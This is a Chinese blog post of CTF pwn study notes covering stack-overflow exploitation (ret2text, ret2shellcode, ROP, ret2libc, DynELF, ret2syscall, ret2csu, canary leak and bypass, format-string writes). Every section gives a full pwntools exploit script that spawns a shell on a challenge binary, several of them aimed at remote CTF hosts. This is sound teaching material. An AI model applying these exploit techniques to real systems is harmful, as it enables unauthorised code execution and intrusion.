pwn学习总结(三) —— 栈溢出经典题型整理

  • ret2text
  • ret2shellcode
  • rop
  • ret2libc
  • 使用DynELF实现远程libc泄露
  • ret2syscall
  • ret2libc
  • ret2csu
  • leak canary
  • bypass canary
  • 格式化字符串漏洞

ret2text

平台:jarvisoj
题目:level0
链接: https://pan.baidu.com/s/137PzVauKmXQ7ACaoY-5X_w 密码: jnc3

查看程序防护

查看反汇编

exp

from pwn import *
import pwnr = pwn.remote('pwn2.jarvisoj.com', 9881)#         buf        rbp     callsystem
payload = 'a'*0x80 + 'b'*8 + p64(0x400596)r.sendline(payload)
r.interactive()

getshell

ret2shellcode

平台:jarvisoj
题目:level1
链接: https://pan.baidu.com/s/1cbJ_hzkAQgDLzXYW5zAEaw 密码: fmk3

查看程序防护

反汇编

本地运行

exp

# -*- coding: UTF-8 -*-
from pwn import *r = pwn.remote('pwn2.jarvisoj.com', 9877)# 截取buf的地址
buf_addr = int(r.recvline()[14:-2], 16)# 生成一段标准shellcode
shellcode = asm(shellcraft.sh()) + '\x00'# 由于buf被填充为shellcode,且buf地址已知,因此可以让程序跳到buf执行shellcode
#         shelloce后面填充'a'           ebp     返回地址为buf的地址
payload = shellcode.ljust(0x88, 'a') + 'b'*4 + p32(buf_addr)r.sendline(payload)
r.interactive()

get shell

rop

平台:jarvisoj
题目:level2
链接: https://pan.baidu.com/s/15Csf9bL-rUuO1ksdncGvKg 密码: 8jfu

查看文件防护

查看反汇编


exp

# -*- coding: utf-8 -*-
from pwn import *r = remote('pwn2.jarvisoj.com', 9878)
elf = ELF('./level2')junk = 'a'*(0x88+4)
system_addr = elf.symbols['system']
bin_sh_addr = elf.search('/bin/sh').next()#         buf+ebp   ret_addr           任意     参数
payload = junk   +  p32(system_addr) + p32(0) + p32(bin_sh_addr)
#p32(0)为system函数的返回地址
#返回前已经执行了system('bin/sh'),所以这里可以任意填充r.send(payload)
r.interactive()

getshell

ret2libc

平台:jarvisoj
题目:level3
链接: https://pan.baidu.com/s/12t108vtx80Hwe0CmxQYsfw 密码: jejt

查看文件防护

已知信息

  1. level3存在溢出
  2. level3中system函数
  3. level3中’/bin/sh’字符串
  4. 提供了libc文件,libc中存在system函数与’/bin/sh’字符串

目的:获得system函数与’/bin/sh’字符串在libc中的内存地址并进行调用

exp

# -*- coding: utf-8 -*-
from pwn import *r = remote('pwn2.jarvisoj.com', 9879)level3 = ELF('./level3')
libc = ELF('./libc-2.19.so')junk = 'a' * (0x88 + 4)func_vul_addr = 0x804844bwrite_plt = level3.symbols['write']
write_got = level3.got['write']#write(int fd, const void *buf, size_t n)
#通过write函数获得write的got地址,即在libc模块中的地址
#write函数执行时,got表中的地址已经被重写为write在内存中的实际地址
#调用write后,令其返回到vul函数,目的是为了再次执行read
#                 ret_addr         write的返回地址      fd       buf              n
payload1 = junk + p32(write_plt) + p32(func_vul_addr) + p32(1) + p32(write_got) + p32(4)r.recvuntil("Input:\n")
r.sendline(payload1)write_addr = u32(r.recv(4))#函数在libc中的plt地址
libc_write_plt = libc.symbols['write']
libc_system_plt = libc.symbols['system']
libc_bin_sh_plt = libc.search('/bin/sh').next()#计算libc中write函数GOT与PLT的偏移,可以通过偏移定位其它函数在内存中的地址
libc_offset = write_addr - libc_write_pltsystem_addr = libc_system_plt + libc_offset
bin_sh_addr = libc_bin_sh_plt + libc_offset#                 ret_addr           任意              参数:'/bin/sh'
payload2 = junk + p32(system_addr) + p32(0xdeadbeef) + p32(bin_sh_addr)r.recvuntil("Input:\n")
r.sendline(payload2)r.interactive()

getshell

使用DynELF实现远程libc泄露

平台:jarvisoj
题目:level4
链接: https://pan.baidu.com/s/1nHduB7t8ZLX2P4rVv28Vjw 密码: aed3

查看文件防护

查看反汇编

exp

# -*- coding: utf-8 -*-
from pwn import *r = remote('pwn2.jarvisoj.com', 9880)elf = ELF('./level4')write_plt = elf.symbols['write']
vul_addr  = 0x804844bjunk = 'a'*(0x88+4)#DynELF函数
#条件:能够实现任意地址读,并且能够反复触发
def leak(address):#                 ret_addr         write返回地址   参数1    参数2          参数3payload1 = junk + p32(write_plt) + p32(vul_addr) + p32(1) + p32(address) + p32(4)r.sendline(payload1)data = r.recv(4)return data#使用DynELF远程泄露libc
memory = DynELF(leak, elf=elf)
#搜索远程libc中system函数的地址
system_addr = memory.lookup('system', 'libc')bss_addr = 0x804a024
read_plt = elf.symbols['read']#                 ret_addr        read返回地址    参数1    参数2          参数3
payload2 = junk + p32(read_plt) + p32(vul_addr) + p32(0) + p32(bss_addr) + p32(8)
r.sendline(payload2)
#在bss段中写入'/bin/sh',注意00截断
r.send('/bin/sh\x00')#调用system('bin/sh')
payload3 = junk + p32(system_addr) + p32(0) + p32(bss_addr)
r.sendline(payload3)r.interactive()

getshell

ret2syscall

平台:ctf wiki
题目:ret2syscall

查看程序防护

查看反汇编

计算 input 到 ebp 的偏移量



syscall条件

eax = 0xb
ebx 指向 /bin/sh 的地址
ECX = 0
EDX = 0

exp

#-*- coding: utf-8 -*-
from pwn import *
context.log_level = 'debug'elf   = ELF('./rop')
r = process('./rop')pop_eax_ret         = 0x80bb196
pop_edx_ecx_ebx_ret = 0x806eb90bin_sh = elf.search('/bin/sh\x00').next()
int_0x80 = 0x8049421payload  = 'a'*0x6c + 'b'*4
payload += p32(pop_eax_ret) + p32(0xb)
payload += p32(pop_edx_ecx_ebx_ret) + p32(0) + p32(0) + p32(bin_sh)
payload += p32(int_0x80)r.sendline(payload)
r.interactive()

getshell

ret2libc

平台:wiki
题目:ret2libc3

查看程序防护

查看反汇编

解题思路

  1. 通过puts函数leak已调用过的函数的got地址
  2. 通过leak出的地址的后12位偏移查找libc版本(即使开启ASLR,后三个字节不变)
  3. 确定libc版本后,可以通过LibcSearcher计算libc中的其它函数的地址,也可以手动计算
  4. 调用libc中的函数执行系统命令,从而getshell

exp

#-*- coding: utf-8 -*-
from pwn import *
from LibcSearcher import LibcSearcher
#context.log_level = 'debug'
#context.arch = 'i386'/'amd64'elf = ELF('./ret2libc3')
#libc_so  = ELF('./') sh = process('./ret2libc3')
#sh = remote('', )main_addr = 0x80484d0
puts_plt  = elf.symbols['puts']
puts_got  = elf.got['puts']sh.recvuntil('Can you find it !?')payload  = 'a'*0x6c + 'b'*4
payload += p32(puts_plt) + p32(main_addr) + p32(puts_got)#pwnlib.gdb.attach(proc.pidof(sh)[0])
sh.sendline(payload)
puts_addr = u32(sh.recv(4))libc = LibcSearcher('puts', puts_addr)
libc_base = puts_addr - libc.dump('puts')#########################################################system_addr = libc_base + libc.dump('system')
bin_sh_addr = libc_base + libc.dump('str_bin_sh')sh.recvuntil('Can you find it !?')payload  = 'a'*0x6c + 'b'*4
payload += p32(system_addr) + p32(main_addr) + p32(bin_sh_addr)sh.sendline(payload)
sh.interactive()

getshell

ret2csu

平台:jarvisoj
题目:level5
链接: https://pan.baidu.com/s/1StEDa6JRGmBWZcNxLiFa3Q 密码: ctlv

查看程序防护

查看反汇编

已知信息

  1. 存在栈溢出漏洞
  2. 文件中不存在system函数与’/bin/sh’字符串
  3. 存在__libc_csu_init,即存在万能gadgets

解题思路

  1. 利用万能gadgets读取write函数在内存中的地址
  2. 通过write地址的后12位偏移和LibcSearcher模块获得libc版本
  3. write地址减去write在libc中的偏移得到libc在内存中的基地址
  4. 使用LibcSearcher模块dump出execve的基地址
  5. 利用万能gadgets向bss段中写入execve的地址和’/bin/sh’字符串
  6. 利用万能gadgets调用execve(’/bin/sh’)

exp

#-*- coding: utf-8 -*-
from pwn import *
from LibcSearcher import LibcSearcher
#context.log_level = 'debug'elf = ELF('./level5')
#libc_so  = ELF('./') sh = process('./level5')
#sh = remote('', )#pop_rbx_rbp_r12_r13_r14_r15_ret
csu_pop = 0x40061A
#call [r12 + rbx*8]
csu_end = 0x400600main_addr = elf.symbols['main']
write_got = elf.got['write']#万能gadgets
def csu(rbx, rbp, r12, r13, r14, r15, ret_addr):payload  = 'a'*0x80 + 'b'*8payload += p64(csu_pop) + p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15)payload += p64(csu_end)payload += 'a'*0x38payload += p64(ret_addr)sh.sendline(payload)sleep(0.2)sh.recvuntil('Hello, World\n')
#获得write函数地址
csu(0, 1 , write_got, 8, write_got, 1, main_addr)
write_addr = u64(sh.recv(8))#通过后12位偏移查询libc版本
libc = LibcSearcher('write', write_addr)
#libc基地址 = write地址 - write偏移
libc_base = write_addr - libc.dump('write')#######################################################read_got    = elf.got['read']
execve_addr = libc_base + libc.dump('execve')
bss_addr    = elf.bss()sh.recvuntil('Hello, World\n')
#向bss段写入execve地址与'/bin/sh'字符串
csu(0, 1, read_got, 16, bss_addr, 0, main_addr)
sh.send(p64(execve_addr) + '/bin/sh\x00')#######################################################sh.recvuntil('Hello, World\n')
#调用execve('/bin/sh\x00')
csu(0, 1, bss_addr, 0, 0, bss_addr+8, main_addr)sh.interactive()

getshell

leak canary

链接: https://pan.baidu.com/s/11oTViENfx29VsP5zylq54g 密码: w4d9

查看程序防护

查看反汇编

前置知识

  1. canary值是一串随机数,用于检测栈溢出
  2. 开启栈溢出保护后,canary位于rbp-8的位置
  3. 在64位elf程序中,canary值占七个字节,第一个字节为’\x00’
    Low address| 局部变量         |+-----------------+rbp-8 =>  | canary value    |+-----------------+rbp =>  | old ebp         |+-----------------+| return address  |+-----------------+| args            |
    High address
    

已知信息

  1. 程序开启了栈溢出保护
  2. main函数第11行能够泄露栈数据
  3. main函数第13行存在栈溢出
  4. 存在后门函数

利用思路

  1. 利用第一个read函数覆盖canary的第一个字节
  2. 利用printf泄露出后七位canary
  3. 利用第二个read还原canary的值并造成栈溢出,覆盖返回地址到后门函数的位置

exp

from pwn import *sh = process('./demo')sh.sendline('a'*0x28)                #'a'*0x28+'\n'sh.recvuntil('Hello ' + 'a'*0x28)
canary = u64(sh.recv(8))-0xA       #sub ASCII('\n')
#print hex(canary)backdoor = 0x40076B#               canary        rbp      ret_address
pd = 'a'*0x28 + p64(canary) + p64(0) + p64(backdoor)
sh.send(pd)sh.interactive()

getshell

bypass canary

链接: https://pan.baidu.com/s/1nERJBuDPi-qJSTeHO6TGng 密码: ji38

查看程序防护
查看反汇编
已知信息

  1. 程序开启了栈溢出保护
  2. main函数能够向栈中输入六个8字节整数
  3. 输入第四个整数时覆盖到canary,产生栈溢出
  4. 存在后门函数

利用思路

  1. scanf在读入’+’,’-'这类字符后,不会向内存中写入数据
  2. 写入到canary的位置时,使用上述scanf的特性进行绕过
  3. 读入第六个整数时刚好能够覆盖到返回地址,将其覆盖为后门函数的位置

exp

from pwn import *sh = process('./pwn')backdoor = 0x40079Bfor i in range(5):sh.sendline('+')sh.sendline(str(backdoor))sh.interactive()

getshell

格式化字符串漏洞

平台:NCTF2019
题目:pwn me 100 year!(II)
链接: https://pan.baidu.com/s/1RPS4ssGTg_VNjgLZI504_A 密码: ebwu

查看程序防护

定位漏洞点



已知信息

  1. 存在两处格式化字符串漏洞
  2. 第一个printf可以用来leak src的地址,在sub_C54函数中,前十六个字节会被src覆盖,所以在sub_BD6需要先填充16个字节(两个函数的buf在栈中的位置相同)
  3. srcdword_200E0的偏移为0x60个字节,如有需要可以在IDA中进行查看
  4. 第二个printf可以用来对dword_200E0进行写入

exp

#-*- coding: utf-8 -*-
from pwn import *
#context.log_level='debug'#r = remote('139.129.76.65',50005)
r = process('./pwn_me_2')#填充src,并获取src的地址
payload1 = 'a'*16 + '%llx'
r.sendline(payload1)
r.recvuntil('preparing......\n')
# src 与 dword_2020E0 的偏移为 0x60
dword_2020E0_addr  = int(r.recv(12), 16) + 0x60'''
备注:1. 写入的值 = 之前输出过的字节数的总和2. '%??c'表示输出??个空格3. '??$'表示第??个成员4. '$hn'表示写入的宽度为2个字节5. 一次性写入4字节宽度的话需要一次性输出0x66666666个字符,数量太多,会导致printf函数崩溃
'''
r.recvuntil('what do you want?\n')
#向dword_2020E0_addr写入0x6666
payload2  = "%" + str(0x6666)           + "c%10$hn"  #13 byte
#向dword_2020E0_addr+2写入0x6666
payload2 += "%" + str(0x16666 - 0x6666) + "c%11$hn" #13 byte
#前面一共写入了26个字符,为了栈对齐,补6个'a',到32个字符
payload2 += 'aaaaaa'
#前六个成员为rdi, rsi, rdx, rcx, r8, r9
#dword_2020E0_addr  为第10个成员(栈中第5个成员,下标为10)
payload2 += p64(dword_2020E0_addr)
#dword_2020E0_addr+2为第11个成员(栈中第6个成员,下标为11)
payload2 += p64(dword_2020E0_addr+2)r.sendline(payload2)
r.interactive()

getshell

pwn学习总结(三) —— 栈溢出经典题型整理相关推荐

  1. pwn学习总结(五) —— 堆溢出经典题型整理

    pwn学习总结(五) -- 堆溢出经典题型整理 fastbin + 栈溢出 fastbin + 函数构造 fastbin + 堆执行 fastbin + malloc_hook fastbin + 栈 ...

  2. 最值得收藏的 数据结构 全部知识点思维导图整理(王道考研), 附带经典题型整理

    本文的思维导图根据王道的数据结构书本整理而来并标记出重点内容,包括了知识点和部分课后习题 思维导图源文件已经发布在我的资源当中, 点击获取全部导图和配套OneNote笔记, 有需要的可以去 我的主页 ...

  3. 【pwn学习】堆溢出(三)- Unlink和UAF

    前置学习 [pwn学习]堆溢出(一) [pwn学习]堆溢出(二)- First Fit 文章目录 什么是Unlink? Unlink如何利用? 加入错误检查 什么是Use-After-free? 例题 ...

  4. dueling dqn 和 double dqn_强化学习(十一)--DQN三个经典的变种

    DQN三个经典的变种:Double DQN.Dueling DQN.Prioritized Replay Buffer. Double-DQN:将动作选择和价值估计分开,避免价值过高估计. Dueli ...

  5. PWN学习总结(四)—— BROP

    pwn学习总结(三) -- BROP 描述 利用条件 攻击思路 例题 判断栈溢出长度 寻找 stop gadgets 寻找 brop gadgets 寻找 puts 函数的 plt 地址 寻找 put ...

  6. pwn学习总结(二) —— 基础知识(持续更新)

    pwn学习总结(二) -- 基础知识(持续更新) Canary PLT表&GOT表 格式化字符串漏洞 GCC编译参数 ASLR 危险函数 输入流 syscall条件 shellcode 其它 ...

  7. mysql中select 的题型_MYSQL经典题型详情解析

    学完了mysql后发现有很多地方不是很明白,于是总结了mysql的经典题型,不论是工作还是面试,我相信还是有一定帮助的. 例题一 ​ 在我的数据库中数据如下(排序有些差别,但是不影响结果) ​ 分析: ...

  8. 学习ios(必看经典)牛人40天精通iOS开发的学习方法

     亲爱的学员们: 如今,各路开发者为淘一桶金也纷纷转入iOS开发的行列.你心动了吗?想要行动吗?知道如何做嘛?速来学习由51CTO学院整理的iOS精品视频集,42个视频课程一步步引领你成为一名iO ...

  9. 【转】 学习ios(必看经典)牛人40天精通iOS开发的学习方法【2015.12.2

    原文网址:http://bbs.51cto.com/thread-1099956-1.html 亲爱的学员们: 如今,各路开发者为淘一桶金也纷纷转入iOS开发的行列.你心动了吗?想要行动吗?知道如何做 ...

最新文章

  1. HTTP 304 的理解
  2. _DataStructure_C_Impl:SeqListBasedSort
  3. 天涯对房市预测比较准的是孤独的思想
  4. poj/OpenJ_Bailian - 2528 离散化+线段树
  5. discuz php文件,discuz目录文件资料汇总
  6. html触发js参数怎么用,js 绑定带参数的事件以及手动触发事件
  7. qldump 备份所有表_MySQL中的备份和恢复是怎样执行的?
  8. 基于四阶累积量的MUSIC算法与MUSIC-like算法(DOA估计)
  9. 如果您已经熟悉K8s,现在不妨试试K9s
  10. CAD中怎么配置灭火器?
  11. 如何解决卸载驱动之后又重新装的问题
  12. Linux操作--上传本地文件到服务器
  13. MFQ(海盗派探索性测试)学习记录
  14. vscode中出现 Statements must be separated by newlines or semicolons 问题的解决方法之一
  15. 神经网络实战网盘资源,神经网络实战项目
  16. html页面中插入flv格式视频
  17. win10如何截屏_win10使用技巧分享!
  18. 基于Python的个人足迹地图绘制设计
  19. 起伏激荡的以太网,抱上这条大腿才能乘风破浪
  20. MySQL日志(一)—— 慢查询日志slow log

热门文章

  1. 成功解决 安装pywin32时出现python version 3.6-32 required, which was not found in the registry
  2. Py之portalocker:portalocker的简介、安装、使用方法之详细攻略
  3. Interview:算法岗位面试—11.07早上上海某机器人公司(上市)面试之项目考察、比赛考察、图像算法的考察等
  4. ML之SVM:随机产生100个点,建立SVM模型,找出超平面方程
  5. LLBLGen update table with join
  6. oracle-ORA-01555错误
  7. Java基础语法 第2节 Java语言基本语法
  8. DHTML_____window对象方法
  9. ESP32 OTA升级框架
  10. linux copy_from/to_user原理